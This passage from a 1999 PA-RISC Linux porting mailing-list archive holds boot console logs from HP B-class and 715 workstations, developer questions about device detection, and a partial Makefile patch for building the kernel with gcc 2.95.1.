	for <parisc-linux@thepuffingroup.com>; Tue, 26 Oct 1999 15:04:33 -0600 (MDT)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id OAA03955 for parisc-linux@thepuffingroup.com; Tue, 26 Oct 1999 14:04:56 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:6252

>From grundler@cup.hp.com  Tue Oct 26 15:14:41 1999
Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA11644
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Oct 1999 15:14:40 -0600
Received: (qmail 8769 invoked by uid 15267); 26 Oct 1999 21:15:45 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Received: (qmail 8761 invoked from network); 26 Oct 1999 21:15:44 -0000
Received: from atlrel1.hp.com (156.153.255.210)
  by mailserv2.iuinc.com with SMTP; 26 Oct 1999 21:15:44 -0000
Received: from milano.cup.hp.com (grundler@milano.cup.hp.com [15.16.124.11])
	by atlrel1.hp.com (8.9.3 (PHNE_18979)/8.8.5tis) with ESMTP id RAA27986
	for <parisc-linux@thepuffingroup.com>; Tue, 26 Oct 1999 17:14:37 -0400 (EDT)
Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id OAA03994 for parisc-linux@thepuffingroup.com; Tue, 26 Oct 1999 14:15:40 -0700 (PDT)
Date: Tue, 26 Oct 1999 14:15:40 -0700 (PDT)
From: Grant Grundler <grundler@cup.hp.com>
Message-Id: <199910262115.OAA03994@milano.cup.hp.com>
To: parisc-linux@thepuffingroup.com
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
Subject: [parisc-linux] B132L console output


Hi all,

Sorry about the previous blank message.

This B132L I took this output from is unique.
It has a DEC PCI-PCI bridge stuck in it and our buswalk handles it fine.

This output is also interesting just so folks know whats
in a "basic" B-class box in case they don't have one.

Lastly, the "lasi serial #1 at 0xffe02000" not getting claimed
is becaused it's trying to talk to Dino's RS-232. lasi_alloc_irq()
handles it correctly by failing and this failure correctly results
in not claiming the device.

We don't have Dino RS-232 support in place yet. Another "TODO" item.
If anyone is feeling bored....

grant



Firmware Version  5.8

Duplex Console IO Dependent Code (IODC) revision 1

Memory Test/Initialization Completed

------------------------------------------------------------------------------
   (c) Copyright 1995-1998, Hewlett-Packard Company, All rights reserved
------------------------------------------------------------------------------

  Processor   Speed            State           Coprocessor State  Cache Size
  ---------  --------   ---------------------  -----------------  ----------
      0      132 MHz    Active                 Functional          64 KB
                                                                    1 MB ext


  Available memory (bytes)    :   67108864 
  Good memory required (bytes):   67108864

  Primary boot path:    SESCSI.5.0
  Alternate boot path:  SESCSI.6.0
  Console path:         GRAPHICS(0)
  Keyboard path:        PS2

Processor is starting autoboot process.

To discontinue, press any key within 10 seconds.

Boot terminated.


------- Main Menu -------------------------------------------------------------

        Command                         Description
        -------                         -----------
        BOot [PRI|ALT|<path>]           Boot from specified path
        PAth [PRI|ALT|CON|KEY] [<path>] Display or modify a path
        SEArch [DIsplay|IPL] [<path>]   Search for boot devices

        COnfiguration [<command>]       Access Configuration menu/commands
        INformation [<command>]         Access Information menu/commands
        SERvice [<command>]             Access Service menu/commands

        DIsplay                         Redisplay the current menu
        HElp [<menu>|<command>]         Display help for menu or command
        RESET                           Restart the system
-------
Main Menu: Enter command > bo    pa alt

  Alternate boot path:  SESCSI.6.0

Main Menu: Enter command > bo alt
Interact with IPL (Y, N, Q)?> n

Booting...
Boot IO Dependent Code (IODC) revision 153


HARD Booted.

------------------------------------------------------------------------------

PARISC/Linux Bootstrap Version 0.6 (non-interactive)
By Helge Deller & Jason Eckhardt
Built Wed Oct 20 15:37:11 PDT 1999 by grundler@rock

Reading parameters...done.

Loading PA-RISC/Linux Kernel...
SOM-Kernel:
aux_header_location: 00000080
som       : 00200080
exec_dfile: 000F2000
exec_dsize: 0008E000
exec_dmem : C00B7000
exec_tfile: 0004B000
exec_tsize: 000A6008
exec_tmem : C0010000
Code at 0x00010000, size=0x000A6008
Data at 0x000B7000, size=0x0008E000
BSS  at 0x00145000.

Transferring control to kernel. (At entry point 0x00010000)
The Kernel has started...
FP CCR was 0xc0, will be set to 0xc0
Model: Merlin L2 132 (9000/778/B132L) with 64 MB RAM.
CPU(s): 1 x PA7300LC (PCX-L2, Velociraptor) at 132.000000 MHz
Kernel-stack at C00BA000, Size 8192 kB.
Available virtual mapped memory starts at 0xC0174150 and ends at 0xC4000000.
Searching for devices in PDC firmware... a newer box...
Found devices:
1. Phantom PseudoBC GSC+ Port (7) at 0xffc00000, versions 0x504, 0x0, 0x0, 0x0, 0x0
2. Unknown device (4) at 0xfff8c000, versions 0x3c, 0x0, 0x89, 0x0, 0x80
3. Merlin L2 132 (9000/778/B132L) (0) at 0xfffbe000, versions 0x501, 0x0, 0x4, 0x0, 0x81
4. Merlin L2 132 (1) at 0xfffbf000, versions 0x60, 0x0, 0x9, 0x0, 0x0
5. Merlin 132 Core BA (11) at 0xffd00000, versions 0x3c, 0x0, 0x81, 0x0, 0x0
6. Merlin 132 Core RS-232 (10) at 0xffd05000, versions 0x3c, 0x0, 0x8c, 0x0, 0x0
7. Merlin 132 Core SCSI (10) at 0xffd06000, versions 0x3c, 0x0, 0x82, 0x0, 0x0
8. Merlin 132 Core Lan (802.3) (10) at 0xffd07000, versions 0x3c, 0x0, 0x8a, 0x0, 0x0
9. Merlin 132 Core Centronics (10) at 0xffd02000, versions 0x3c, 0x0, 0x74, 0x0, 0x0
10. Merlin 132 Core Audio (10) at 0xffd04000, versions 0x3c, 0x4, 0x7b, 0x0, 0x0
11. Merlin 132 Core PC Keyboard (10) at 0xffd08000, versions 0x3c, 0x0, 0x84, 0x0, 0x0
12. Merlin 132 Core PC Keyboard (10) at 0xffd08100, versions 0x3c, 0x0, 0x84, 0x0, 0x0
13. Merlin+ Wax BA (11) at 0xffe00000, versions 0x3a, 0x0, 0x8e, 0x0, 0x0
14. Merlin+ Wax EISA BA (11) at 0xfc000000, versions 0x3a, 0x0, 0x90, 0x0, 0x0
15. Merlin+ Wax HIL (10) at 0xffe01000, versions 0x3a, 0x0, 0x73, 0x0, 0x0
16. Merlin+ Wax RS-232 (10) at 0xffe02000, versions 0x3a, 0x0, 0x8c, 0x0, 0x0
17. Gecko GSC Core Graphics (10) at 0xf8000000, versions 0x16, 0x0, 0x85, 0x0, 0x0
18. Dino PCI Bridge (13) at 0xfff80000, versions 0x680, 0x3, 0xa, 0x0, 0x0
That's a total of 18 devices.
Linux version 2.2.12 (grundler@rock) (gcc version egcs-2.91.60 19981201 (egcs-1.1.1 release)) #338
 Tue Oct 26 12:44:28 PDT 1999
initrd: c00be000-c0115800
command_line: /stand/vmlinux HOME=/ TERM=LINUX console=tty

free_area_init: c017e000 c2000000
mem_map=c017e000
Calibrating delay loop... 175.64 BogoMIPS
Memory: 14532k available (664k kernel code, 1124k data, 64k init) [c0000000,c1000000]
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xffd00000 found.
Interrupt  3( 3+ 0)
Starting lasi serial #0 at 0xffd05000
lasi_alloc_irq(0xffd05000) = 26
ttyS00 at iomem 0xffd05800 (irq = 261) is a 16550A
Starting lasi serial #1 at 0xffe02000
lasi_alloc_irq(0xc0165938): No known LASI owns device at 0xffe02000
IRQ not found for lasi serial at 0xffe02000
Warning : device (10, 0x3a, 0x0, 0x8c, 0x0) NOT claimed by Lasi serial 712, 715 or similiar
Starting lasi lan at 0xffd07000
lasi_alloc_irq(0xffd07000) = 23
eth0: 82596 at 0xffd07000, 08 00 09 EF 74 14 IRQ 264.
82596.c:v1.0 15/07/98
eth0: lp at 0xc01d5140, lp->scb at 0xc01d5154
Initializing lasi keyboard port at 0xffd08000...
Initializing lasi mouse port at 0xffd08100...
Dino version 3.1 (bridge mode) found at 0xfff80000
Scanning PCI bus 0
Found a PCI device, and the vendor is 0x1011, device 0x0024
dino_fixup_bus(0xc01da0a0) bus 0 sysdata 0xc01d90e0
Found a PCI device, and the vendor is 0x1011, device 0x0019
Found a PCI device, and the vendor is 0x1000, device 0x000f
dino_fixup_bus(0xc01da120) bus 1 sysdata 0xc01d90e0
Scan for bus 0 returned 1
Linux NET4.0 for Linux 2.2
Based upon Swansea University Computer Society NET3.039
Starting kswapd v 1.2
setting up lasi keyboard
initialize_kbd: Keyboard failed self test
lasi_alloc_irq(0xffd08000) = 5
done!?!
Serial driver version 4.90 (1999-09-22) with no serial options enabled
pty: 256 Unix98 ptys configured
rd_init
RAM disk driver initialized:  16 RAM disks of 4096K size
Keyboard timed out[1]
Keyboard timeout[2]
Keyboard timed out[1]
Keyboard timeout[2]
scsi : 0 hosts.
scsi : detected total.
initrd_load
rd_load_image
opening initrd
identify_ramdisk_image
ext2sb->s_magic: 000053ef
RAMDISK: ext2 filesystem found at block 0
RAMDISK: Loading 350 blocks [1 disk] into ram disk... |/-\|/-\|/-\|/-\|/-\|/done.
initrd_release
VFS: Mounted root (ext2 filesystem).
Warning: unable to open an initial console.
It's for the PA-RISC!
It's executable!
It has an appropriate version!
The checksum checks out!
Well, it *smells* like a valid SOM executable
(start_brk) 40017000
(end_code) 0003c000
(start_code) 00001000
(end_data) 40008000
(start_stack) 2000002c
(brk) 40017000
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing


From - Thu Nov 08 21:10:59 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@cup.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] B180L console output
Date: Tue, 26 Oct 1999 14:17:59 -0700 (PDT)
Lines: 255
Approved: news@gmane.org
Message-ID: <199910262117.OAA04010@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=X-roman8
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618584 27255 80.91.229.3 (22 Nov 2014 01:09:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:44 +0000 (UTC)
To: parisc-linux@thepuffingroup.com
Original-X-From: grundler@cup.hp.com  Tue Oct 26 15:16:30 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id PAA11781
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Oct 1999 15:16:30 -0600
Original-Received: (qmail 9785 invoked by uid 15267); 26 Oct 1999 21:17:34 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 9764 invoked from network); 26 Oct 1999 21:17:33 -0000
Original-Received: from palrel1.hp.com (156.153.255.242)
  by mailserv2.iuinc.com with SMTP; 26 Oct 1999 21:17:33 -0000
Original-Received: from milano.cup.hp.com (milano.cup.hp.com [15.16.124.11])
	by palrel1.hp.com (Postfix) with ESMTP id B1D2F228
	for <parisc-linux@thepuffingroup.com>; Tue, 26 Oct 1999 14:17:32 -0700 (PDT)
Original-Received: (from grundler@localhost) by milano.cup.hp.com (8.8.6 (PHNE_14041)/8.7.3 TIS Messaging 5.0) id OAA04010 for parisc-linux@thepuffingroup.com; Tue, 26 Oct 1999 14:17:59 -0700 (PDT)
Xref: news.gmane.org gmane.linux.ports.parisc:6253


FYA,
Similar story but no DEC PPB.

grant


pa

  Primary boot path:    FWSCSI.6.0

  Alternate boot path:  PCI1.3.0

  Console path:         GRAPHICS(0)

  Keyboard path:        PS2

Main Menu: Enter command > io fv

ERROR:  Unknown command

Main Menu: Enter command > in fv

FIRMWARE INFORMATION

  Firmware Version:           5.8

   3840   

Main Menu: Enter command > bo alt
Interact with IPL (Y, N, Q)?> n

Booting...
Boot IO Dependent Code (IODC) revision 1


HARD Booted.

------------------------------------------------------------------------------

PARISC/Linux Bootstrap Version 0.6 (non-interactive)
By Helge Deller & Jason Eckhardt
Built Wed Oct 20 15:37:11 PDT 1999 by grundler@rock

Reading parameters...done.

Loading PA-RISC/Linux Kernel...
SOM-Kernel:
aux_header_location: 00000080
som       : 00200080
exec_dfile: 000F2000
exec_dsize: 0008E000
exec_dmem : C00B7000
exec_tfile: 0004B000
exec_tsize: 000A6008
exec_tmem : C0010000
Code at 0x00010000, size=0x000A6008
Data at 0x000B7000, size=0x0008E000
BSS  at 0x00145000.

Transferring control to kernel. (At entry point 0x00010000)
The Kernel has started...
FP CCR was 0x0, will be set to 0xc0
Model: Merlin L2+ 180 (9000/778/B180L) with 128 MB RAM.
CPU(s): 1 x PA7300LC (PCX-L2, Velociraptor) at 180.000000 MHz
Kernel-stack at C00BA000, Size 8192 kB.
Available virtual mapped memory starts at 0xC01741F0 and ends at 0xC8000000.
Searching for devices in PDC firmware... a newer box...
Found devices:
1. Phantom PseudoBC GSC+ Port (7) at 0xffc00000, versions 0x504, 0x0, 0x0, 0x0, 0x0
2. Merlin+ 132 Dino RS-232 (10) at 0xfff83000, versions 0x22, 0x0, 0x8c, 0x0, 0x0
3. Merlin L2+ 180 (9000/778/B180L) (0) at 0xfffbe000, versions 0x504, 0x0, 0x4, 0x0, 0x81
4. Merlin+ L2 180 (1) at 0xfffbf000, versions 0x5a, 0x0, 0x9, 0x0, 0x0
5. Merlin+ 180 Core BA (11) at 0xffd00000, versions 0x3f, 0x0, 0x81, 0x0, 0x0
6. Merlin+ 180 Core RS-232 (10) at 0xffd05000, versions 0x3f, 0x0, 0x8c, 0x0, 0x0
7. Merlin+ 180 Core SCSI (10) at 0xffd06000, versions 0x3f, 0x0, 0x82, 0x0, 0x0
8. Merlin+ 180 Core Centronics (10) at 0xffd02000, versions 0x3f, 0x0, 0x74, 0x0, 0x0
9. Merlin+ 180 Core Audio (10) at 0xffd04000, versions 0x3f, 0x4, 0x7b, 0x0, 0x0
10. Merlin+ 180 Core PC Keyboard (10) at 0xffd08000, versions 0x3f, 0x0, 0x84, 0x0, 0x0
11. Merlin+ 180 Core PC Keyboard (10) at 0xffd08100, versions 0x3f, 0x0, 0x84, 0x0, 0x0
12. Gecko GSC Core Graphics (10) at 0xf8000000, versions 0x16, 0x0, 0x85, 0x0, 0x0
13. Dino PCI Bridge (13) at 0xfff80000, versions 0x680, 0x3, 0xa, 0x0, 0x0
That's a total of 13 devices.
Linux version 2.2.12 (grundler@rock) (gcc version egcs-2.91.60 19981201 (egcs-1.1.1 release)) #341
 Tue Oct 26 13:07:06 PDT 1999
initrd: c00be000-c0115800
command_line: /stand/vmlinux HOME=/ TERM=LINUX console=tty

free_area_init: c017e000 c2000000
mem_map=c017e000
Calibrating delay loop... 239.86 BogoMIPS
Memory: 14532k available (664k kernel code, 1124k data, 64k init) [c0000000,c1000000]
POSIX conformance testing by UNIFIX
Lasi version 0 at 0xffd00000 found.
Interrupt  3( 3+ 0)
Starting lasi serial #0 at 0xfff83000
lasi_alloc_irq(0xc01657b8): No known LASI owns device at 0xfff83000
IRQ not found for lasi serial at 0xfff83000
Warning : device (10, 0x22, 0x0, 0x8c, 0x0) NOT claimed by Lasi serial 712, 715 or similiar
Starting lasi serial #0 at 0xffd05000
lasi_alloc_irq(0xffd05000) = 26
ttyS00 at iomem 0xffd05800 (irq = 261) is a 16550A
Initializing lasi keyboard port at 0xffd08000...
Initializing lasi mouse port at 0xffd08100...
Dino version 3.1 (bridge mode) found at 0xfff80000
Scanning PCI bus 0
Found a PCI device, and the vendor is 0x1000, device 0x000f
PCI: 00:08 BAR[0]==0xfd01
PCI: 00:08 BAR[1]==0xf0ffb000
PCI: 00:08 BAR[2]==0xf0ffc000
PCI: 00:08 BAR[3]==0x0
PCI: 00:08 BAR[4]==0x0
PCI: 00:08 BAR[5]==0x0
Found a PCI device, and the vendor is 0x1000, device 0x000f
PCI: 00:98 BAR[0]==0xfe01
PCI: 00:98 BAR[1]==0xf0ffd000
PCI: 00:98 BAR[2]==0xf0ffe000
PCI: 00:98 BAR[3]==0x0
PCI: 00:98 BAR[4]==0x0
PCI: 00:98 BAR[5]==0x0
Found a PCI device, and the vendor is 0x1011, device 0x0019
PCI: 00:a0 BAR[0]==0xff01
PCI: 00:a0 BAR[1]==0xf0fff000
PCI: 00:a0 BAR[2]==0x0
PCI: 00:a0 BAR[3]==0x0
PCI: 00:a0 BAR[4]==0x0
PCI: 00:a0 BAR[5]==0x0
dino_fixup_bus(0xc01da0a0) bus 0 sysdata 0xc01d90e0
Scan for bus 0 returned 0
Linux NET4.0 for Linux 2.2
Based upon Swansea University Computer Society NET3.039
Starting kswapd v 1.2
setting up lasi keyboard
initialize_kbd: Keyboard failed self test
lasi_alloc_irq(0xffd08000) = 5
done!?!
Serial driver version 4.90 (1999-09-22) with<4>Keyboard timed out[1]
Keyboard timeout[2]
Keyboard timed out[1]
Keyboard timeout[2]
 no serial options enabled
pty: 256 Unix98 ptys configured
rd_init
RAM disk driver initialized:  16 RAM disks of 4096K size
scsi : 0 hosts.
scsi : detected total.
initrd_load
rd_load_image
opening initrd
identify_ramdisk_image
ext2sb->s_magic: 000053ef
RAMDISK: ext2 filesystem found at block 0
RAMDISK: Loading 350 blocks [1 disk] into ram disk... |/-\|/-\|/-\|/-\|/-\|/done.
initrd_release
VFS: Mounted root (ext2 filesystem).
Warning: unable to open an initial console.
It's for the PA-RISC!
It's executable!
It has an appropriate version!
The checksum checks out!
Well, it *smells* like a valid SOM executable
(start_brk) 40017000
(end_code) 0003c000
(start_code) 00001000
(end_data) 40008000
(start_stack) 2000002c
(brk) 40017000
Kernel panic: Attempted to kill the idle task!
In swapper task - not syncing

X-From-Line: hppa-linux@thepuffingroup.com  Mon Mar  1 18:42:31 1999
Return-Path: <hppa-linux@thepuffingroup.com>
Received: from merlin.pcj.primenet.com (pcj@merlin.pcj.primenet.com [192.168.111.10])
	by merlin.pcj.primenet.com (8.8.7/8.8.7) with ESMTP id SAA00717
	for <pcj@merlin.pcj.primenet.com>; Mon, 1 Mar 1999 18:42:30 -0800
Resent-From: hppa-linux@thepuffingroup.com
Received: from pop.primenet.com
	by merlin.pcj.primenet.com (fetchmail-4.4.7 POP3)
	for <pcj/merlin.pcj.primenet.com> (single-drop); Mon, 01 Mar 1999 18:42:31 PST
Received: from smtp04.primenet.com (daemon@smtp04.primenet.com [206.165.6.134])
	by primenet.com (8.8.8/8.8.5) with ESMTP id FAA24390
	for <pcj@smtp-local.primenet.com>; Mon, 1 Mar 1999 05:16:44 -0700 (MST)
Received: (from daemon@localhost)
	by smtp04.primenet.com (8.8.8/8.8.8) id FAA25633
	for <pcj@primenet.com>; Mon, 1 Mar 1999 05:46:22 -0700 (MST)
Received: from SOD.RES.CMU.EDU(128.2.91.30)
 via SMTP by smtp04.primenet.com, id smtpd025618; Mon Mar  1 05:46:16 1999
Received: (from listserv@localhost)
	by sod.res.cmu.edu (8.8.7/8.8.7) id GAA07928;
	Mon, 1 Mar 1999 06:51:37 -0500
Resent-Date: Mon, 1 Mar 1999 06:51:37 -0500
X-Authentication-Warning: sod.res.cmu.edu: listserv set sender to hppa-linux-request@thepuffingroup.com using -f
Delivered-To: thepuffi-hppa-linux@thepuffingroup.com
Message-Id: <199903011150.MAA23883@be3334.schering.de>
From: "Strelow, Ulrich" <Ulrich.Strelow@Schering.DE>
To: ",hppa-linux@thepuffingroup.com " <hppa-linux@thepuffingroup.com>,
        ",Jason Eckhardt " <jason@equator.com>
Subject: Betr.: [hppa-linux] Another bootstrap test
Date: Mon, 1 Mar 1999 12:49:00 +0100 
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.1960.3)
Content-Type: text/plain
Resent-Message-ID: <"4Pp3I1.0.ox1.8zdss"@sod.res.cmu.edu>
Reply-To: hppa-linux@thepuffingroup.com
X-Mailing-List: <hppa-linux@thepuffingroup.com> archive/latest/133
X-Loop: hppa-linux@thepuffingroup.com
Precedence: list
Resent-Sender: hppa-linux-request@thepuffingroup.com
X-UIDL: 4651b588f188ffdde0093e5e4d85360d
Lines: 42
Xref: merlin.pcj.primenet.com palinux:104

     Hi all,
     
     this time it did not work on my 715/33 booted via rbootd:
     
     
     PARISC/Linux Bootstrap Version 0.1 (interactive) By Jason Eckhardt
     Built Fri Feb 26 17:19:38 CST 1999 by jason@bimbo
     
     IPL_DEBUG: Page zero parameters:
     P0_IMM_max_mem:          50331648 (48MB)
     P0_IMM_spa_size:         50331648
     P0_MC_cont_size:         50331648
     P0_MC_phys_size:         50331648
     P0_MC_ad_size:           50331648
     P0_BOOTCPU_mem_free:     0x00006400
     P0_BOOTCPU_hpa:          0xFFFBE000
     P0_BOOTCPU_pdc:          0xF0008988
     P0_BOOTCPU_10msec:       333335
     P0_COUT_iodc_io:         0x00006400
     P0_CIN_iodc_io:          0x00009A3C
     P0_BOOTDEV_iodc_io:      0x00009F4C
     P0_COUT_class:           0x00000009
     P0_CIN_class:            0x00000008
     P0_BOOTDEV_class:        0x00000001
     Reading parameters...done.
     (kernel size = 28672 bytes Loading kernel...
     
     Then it hangs ...
     
     
     Ulrich
     ---------------------------------------------
     Ulrich Strelow
     <ulrich.strelow@schering.de or
      ulrich_strelow@csi.com>
      Berlin, Germany
     

-------------------------------------------------------------------------
To unsubscribe: send e-mail to hppa-linux-request@thepuffingroup.com with
`unsubscribe' as the subject.



From - Thu Nov 08 21:10:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Alex deVries <adevries@thepuffingroup.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] B132L console output
Date: Tue, 26 Oct 1999 18:54:24 -0400 (EDT)
Lines: 34
Approved: news@gmane.org
Message-ID: <Pine.LNX.4.10.9910261851210.30574-100000@vodka.thepuffingroup.com>
References: <199910262115.OAA03994@milano.cup.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII
X-Trace: ger.gmane.org 1416618584 27265 80.91.229.3 (22 Nov 2014 01:09:44 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:44 +0000 (UTC)
Cc: parisc-linux@thepuffingroup.com
To: Grant Grundler <grundler@cup.hp.com>
Original-X-From: adevries@thepuffingroup.com  Tue Oct 26 16:49:24 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id QAA12279
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Oct 1999 16:49:24 -0600
Original-Received: (qmail 18920 invoked by uid 15267); 26 Oct 1999 22:50:28 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 18904 invoked from network); 26 Oct 1999 22:50:27 -0000
Original-Received: from unknown (HELO vodka.thepuffingroup.com) (@216.208.98.2)
  by mailserv2.iuinc.com with SMTP; 26 Oct 1999 22:50:27 -0000
Original-Received: from vodka.thepuffingroup.com (IDENT:adevries@vodka.thepuffingroup.com [192.168.1.1])
	by vodka.thepuffingroup.com (8.9.3/8.9.3) with ESMTP id SAA30595;
	Tue, 26 Oct 1999 18:54:24 -0400
In-Reply-To: <199910262115.OAA03994@milano.cup.hp.com>
Xref: news.gmane.org gmane.linux.ports.parisc:6254


On Tue, 26 Oct 1999, Grant Grundler wrote:
> This B132L I took this output from is unique.
> It has a DEC PCI-PCI bridge stuck in it and our buswalk handles it fine.

I have a couple of questions about this machine:

> Lastly, the "lasi serial #1 at 0xffe02000" not getting claimed
> is becaused it's trying to talk to Dino's RS-232. lasi_alloc_irq()
> handles it correctly by failing and this failure correctly results
> in not claiming the device.

We need to fix it so that it doesn't attempt to load the Lasi serial
driver when it's really a Dino RS 232.  That should be pretty easy to fix.

> Found devices:
> 1. Phantom PseudoBC GSC+ Port (7) at 0xffc00000, versions 0x504, 0x0, 0x0, 0x0, 0x0
> 2. Unknown device (4) at 0xfff8c000, versions 0x3c, 0x0, 0x89, 0x0, 0x80

Do you have any idea what that unknown device might be?

> 6. Merlin 132 Core RS-232 (10) at 0xffd05000, versions 0x3c, 0x0, 0x8c, 0x0, 0x0
> 16. Merlin+ Wax RS-232 (10) at 0xffe02000, versions 0x3a, 0x0, 0x8c, 0x0, 0x0

Which of those is actually connected?

> 11. Merlin 132 Core PC Keyboard (10) at 0xffd08000, versions 0x3c, 0x0, 0x84, 0x0, 0x0
> 12. Merlin 132 Core PC Keyboard (10) at 0xffd08100, versions 0x3c, 0x0, 0x84, 0x0, 0x0
> 15. Merlin+ Wax HIL (10) at 0xffe01000, versions 0x3a, 0x0, 0x73, 0x0, 0x0

How about those?

- Alex


From - Thu Nov 08 21:10:59 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] hack to use HPUX boot loader
Date: Tue, 26 Oct 1999 19:41:17 -0400 (EDT)
Lines: 84
Approved: news@gmane.org
Message-ID: <199910262341.TAA01365@hiauly1.hia.nrc.ca>
References: <199910261550.JAA13603@debian.fc.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416618585 27267 80.91.229.3 (22 Nov 2014 01:09:45 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:09:45 +0000 (UTC)
Cc: adevries@thepuffingroup.com, parisc-linux@thepuffingroup.com
To: bame@debian.fc.hp.com (Paul Bame)
Original-X-From: dave@hiauly1.hia.nrc.ca  Tue Oct 26 17:41:31 1999
Original-Received: from mailserv2.iuinc.com (qmailr@mailserv2.iuinc.com [206.245.164.55])
	by puffin.external.hp.com (8.8.7/8.8.7) with SMTP id RAA12629
	for <parisc-linux@puffin.external.hp.com>; Tue, 26 Oct 1999 17:41:30 -0600
Original-Received: (qmail 5231 invoked by uid 15267); 26 Oct 1999 23:42:35 -0000
Delivered-To: thepuffi-parisc-linux@thepuffingroup.com
Original-Received: (qmail 5218 invoked from network); 26 Oct 1999 23:42:34 -0000
Original-Received: from hiauly1.hia.nrc.ca (132.246.44.13)
  by mailserv2.iuinc.com with SMTP; 26 Oct 1999 23:42:34 -0000
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.9.3/8.9.3) id TAA01365;
	Tue, 26 Oct 1999 19:41:17 -0400 (EDT)
In-Reply-To: <199910261550.JAA13603@debian.fc.hp.com> from "Paul Bame" at Oct 26, 99 09:50:37 am
X-Mailer: ELM [version 2.4 PL25]
Xref: news.gmane.org gmane.linux.ports.parisc:6255

> Has anyone confirmed that the kernel which is started is getting good
> data (stack, etc...) or are my kernels booting purely by accident?

Probably not.  I applied som_relocate on the kernel that I built today and
it booted through the RAM disk phase on my 735 up to the following point:

bad address 0000001c (code 15)

Kernel panic: bad address

In swapper task - not syncing

Since I am booting with hpux, the early walk through the hardware
configuration scrolls off the screen.

I have had to patch the Makefile to build with gcc 2.95.1 and without GECKO.
Can someone install this patch in the cvs source?

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)


*** Makefile.orig	Mon Oct 25 20:48:29 1999
--- Makefile	Tue Oct 26 18:48:31 1999
***************
*** 91,97 ****
  # standard CFLAGS
  #
  
! CFLAGS = -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -mdisable-fpregs -fwritable-strings 
  
  # use '-fno-strict-aliasing', but only if the compiler can take it
  CFLAGS += $(shell if $(CC) -fno-strict-aliasing -S -o /dev/null -xc /dev/null >/dev/null 2>&1; then echo "-fno-strict-aliasing"; fi)
--- 91,97 ----
  # standard CFLAGS
  #
  
! CFLAGS = -Wall -Wstrict-prototypes -O2 -fomit-frame-pointer -mdisable-fpregs # -fwritable-strings 
  
  # use '-fno-strict-aliasing', but only if the compiler can take it
  CFLAGS += $(shell if $(CC) -fno-strict-aliasing -S -o /dev/null -xc /dev/null >/dev/null 2>&1; then echo "-fno-strict-aliasing"; fi)
***************
*** 115,121 ****
  FILESYSTEMS	=fs/filesystems.a
  NETWORKS	=net/network.a
  DRIVERS		=drivers/block/block.a \
- 		 drivers/gecko/gecko.a	\
  		 drivers/char/char.a 
  #	         drivers/misc/misc.a
  LIBS		=$(TOPDIR)/lib/lib.a
--- 115,120 ----
***************
*** 207,212 ****
--- 206,215 ----
  DRIVERS := $(DRIVERS) drivers/net/irda/irda_drivers.a
  endif
  
+ ifeq ($(CONFIG_GECKO),y)
+ DRIVERS := $(DRIVERS) drivers/gecko/gecko.a
+ endif
+ 
  include arch/$(ARCH)/Makefile
  
  .S.s:
***************
*** 235,241 ****
  	@echo "If this fails, you're not using GNU nm! "
  	@echo "Make sure you have it in your path before HPUX nm."
  	$(NM) --version > /dev/null 2>&1
! 	$(NM) -td vmlinux |awk '/init_task_union/ { n = int($2); t = int(n/8192); t *= 8192; if (t >= n) printf t-n ; else printf n-(t-8192)}' FS=\| > init_task.alignment
  	@if [ `cat init_task.alignment` -ne "0" ]; then \
  		echo init_task_union alignment is `cat init_task.alignment`: rebuilding...; \
  		( cd arch/parisc/kernel ; rm -f init_task.o ; make EXTRA_CFLAGS=-DALIGN init_task.o ); \
--- 238,244 ----
